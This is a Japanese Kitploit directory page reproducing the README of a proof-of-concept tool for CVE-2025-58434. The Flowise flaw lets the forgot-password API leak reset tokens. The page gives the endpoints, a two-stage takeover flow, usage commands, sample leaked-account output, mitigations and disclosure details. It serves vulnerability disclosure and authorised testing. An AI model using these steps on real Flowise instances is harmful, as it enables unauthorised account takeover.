Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/kartik2005221/cve-2025-58434-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証学習と教育レッドチーミング
GitHubkartik2005221/cve-2025-58434-poc

CVE-2025-58434-poc

リポジトリを見る
14ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-58434 — Flowise のトークン漏洩によるアカウント乗っ取り

CVE CVSS Python License Disclosure

⚠️ このリポジトリは教育目的および許可を得たセキュリティ研究専用です。
所有していない、または明示的なテスト許可を得ていないシステムへの不正使用は違法です。


目次

  • 概要
  • 脆弱性の詳細
  • 攻撃フロー
  • 影響を受けるバージョン
  • リポジトリ構成
  • 要件
  • インストール
  • 使用方法
  • 出力例
  • 対策
  • 開示タイムライン
  • 参考情報
  • 免責事項

概要

Flowise(クラウドホスト版・セルフホスト版の両方)の forgot-password エンドポイントは、有効なパスワードリセットトークン(tempToken)を HTTP レスポンスボディに直接返します — メールの検証も認証も一切行われません。

つまり、被害者のメールアドレスを知っている(または推測できる)攻撃者は、以下の操作が可能です:

  1. forgot-password エンドポイントを呼び出す → JSON レスポンスで tempToken を受け取る
  2. その tempToken を使用して reset-password を呼び出す → 任意の新しいパスワードを設定する
  3. 被害者としてログインする → 完全なアカウント乗っ取り(ATO)

事前のアクセス権、ユーザーの操作、メールへのアクセスは一切必要ありません。


脆弱性の詳細

根本原因

forgot-password ハンドラーは、生成された tempToken を含むユーザーレコード全体を、ユーザーの登録済みメールアドレスにのみ送信する代わりに、API レスポンスで直接返します。

root@kitploit:~
{
  "user": {
    "id": "<uuid>",
    "name": "Victim Name",
    "email": "[email protected]",
    "credential": "<bcrypt-hash>",
    "tempToken": "<LEAKED_TOKEN_HERE>",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

攻撃フロー

root@kitploit:~
Attacker                              Flowise API
   │                                       │
   │  POST /forgot-password {email}        │
   │──────────────────────────────────────►│
   │                                       │  (generates tempToken)
   │◄──────────────────────────────────────│
   │  201 { tempToken: "abc123..." }       │
   │                                       │
   │  POST /reset-password {email,         │
   │         tempToken, newPassword}       │
   │──────────────────────────────────────►│
   │                                       │
   │◄──────────────────────────────────────│
   │  200 OK  (password changed!)          │
   │                                       │
   ✓  Account Takeover Complete

影響を受けるバージョン

  • Flowise Cloud(cloud.flowiseai.com)— 影響を確認済み
  • パッチ適用前のすべてのセルフホスト型 Flowise デプロイメント

パッチ適用済みリリース情報については、公式 Flowise GitHub を確認してください。


リポジトリ構成

root@kitploit:~
CVE-2025-58434/
├── cve_2025_58434_poc.py   # Main PoC script (two-stage ATO)
├── requirements.txt         # Python dependencies
├── README.md                # This file
└── DISCLAIMER.md            # Legal notice (read before use)

要件

  • Python 3.7 以上
  • requests ライブラリ

インストール

root@kitploit:~
# Clone the repository
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434

# Install dependencies
pip install -r requirements.txt

使用方法

ヘルプ画面

root@kitploit:~
python3 cve_2025_58434_poc.py --help

ステージ 1 — トークンの漏洩(偵察)

インスタンスが脆弱であることを確認し、パスワードをリセットせずに tempToken を取得します。

root@kitploit:~
python3 cve_2025_58434_poc.py \
  --url https://flowise.example.com \
  --email [email protected]

ステージ 2 — 完全なアカウント乗っ取り

漏洩したトークンを使用して、直ちにパスワードをリセットします。

root@kitploit:~
python3 cve_2025_58434_poc.py \
  --url https://flowise.example.com \
  --email [email protected] \
  --reset \
  --new-password "MyNewP@ss2025!"

生の JSON レスポンスをダンプ

root@kitploit:~
python3 cve_2025_58434_poc.py \
  --url https://flowise.example.com \
  --email [email protected] \
  --json-output

全オプション


出力例

root@kitploit:~
  [Step 1] Sending forgot-password request …
  [*] HTTP Status : 201

  ========================================================================
    LEAKED ACCOUNT DATA
  ========================================================================
    User ID       : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
    Name          : Admin User
    Email         : [email protected]
    Credential    : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    Status        : active
    tempToken     : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
    tokenExpiry   : 2025-08-19T13:00:33.834Z
  ========================================================================

  [+] tempToken obtained  : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  [!] VULNERABLE: The instance leaks password reset tokens unauthenticated!

対策

Flowise インスタンスの運用者は、以下の緩和策を直ちに適用してください:

  1. リセットトークンを API レスポンスで返さない。 トークンは登録済みメールアドレスのみに送信する。
  2. forgot-password からは、メールアドレスの存在有無に関わらず汎用的な成功メッセージを返す — これによりアカウント列挙も防止できる。
  3. トークンの制約を適用する:
    • 使い捨て(初回使用後に無効化)
    • 短い有効期限(例:15 分)
    • 可能な限りリクエスト元の IP / User-Agent に紐付ける
  4. すべてのデプロイモデルに修正を適用する — クラウドとセルフホストの両方。
  5. forgot-password エンドポイントにレート制限を追加する。
  6. 異常なパスワードリセット活動を記録(ログ)し、アラートを発報する。
  7. 管理者および高特権アカウントにはMFA を検討する。

開示タイムライン

日付イベント
2025-08-19脆弱性を発見・報告
TBDベンダーによる確認
TBDパッチ公開
TBD一般公開(開示)

参考情報

  • GitHub Advisory GHSA-wgpv-6j63-x5ph
  • NVD — CVE-2025-58434
  • Flowise GitHub リポジトリ
  • CWE-640: 脆弱なパスワード回復メカニズム

免責事項

このプロジェクトは教育目的および許可を得たペネトレーションテストのみを目的としています。

  • システム所有者からの明示的な書面による許可なしに、このツールをいかなるシステムに対しても実行しないでください。
  • このリポジトリの著者は、不正使用に起因する誤用、損害、法的結果について一切の責任を負いません。
  • 完全な法的通知については DISCLAIMER.md を参照してください。
ツールをダウンロード
フィールド値
CVE IDCVE-2025-58434
CVSS スコア9.8(Critical)
CVSS ベクターCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-640: 脆弱なパスワード回復メカニズム
種別認証バイパス / 安全でないダイレクトオブジェクト参照
影響を受けるアプリFlowise(クラウド + セルフホスト)
エンドポイント 1POST /api/v1/account/forgot-password
エンドポイント 2POST /api/v1/account/reset-password
フラグショート説明デフォルト
--url URL-uFlowise インスタンスのベース URL(必須)
--email EMAIL-e対象アカウントのメールアドレス(必須)
--reset-rステージ 2 を実行:漏洩したトークンでパスワードをリセットFalse
--new-password PASS-p設定する新しいパスワード(--reset と併用)Changeme@2025!
--timeout SECONDS-tHTTP リクエストのタイムアウト10
--json-output-j生の JSON API レスポンスを標準出力に表示False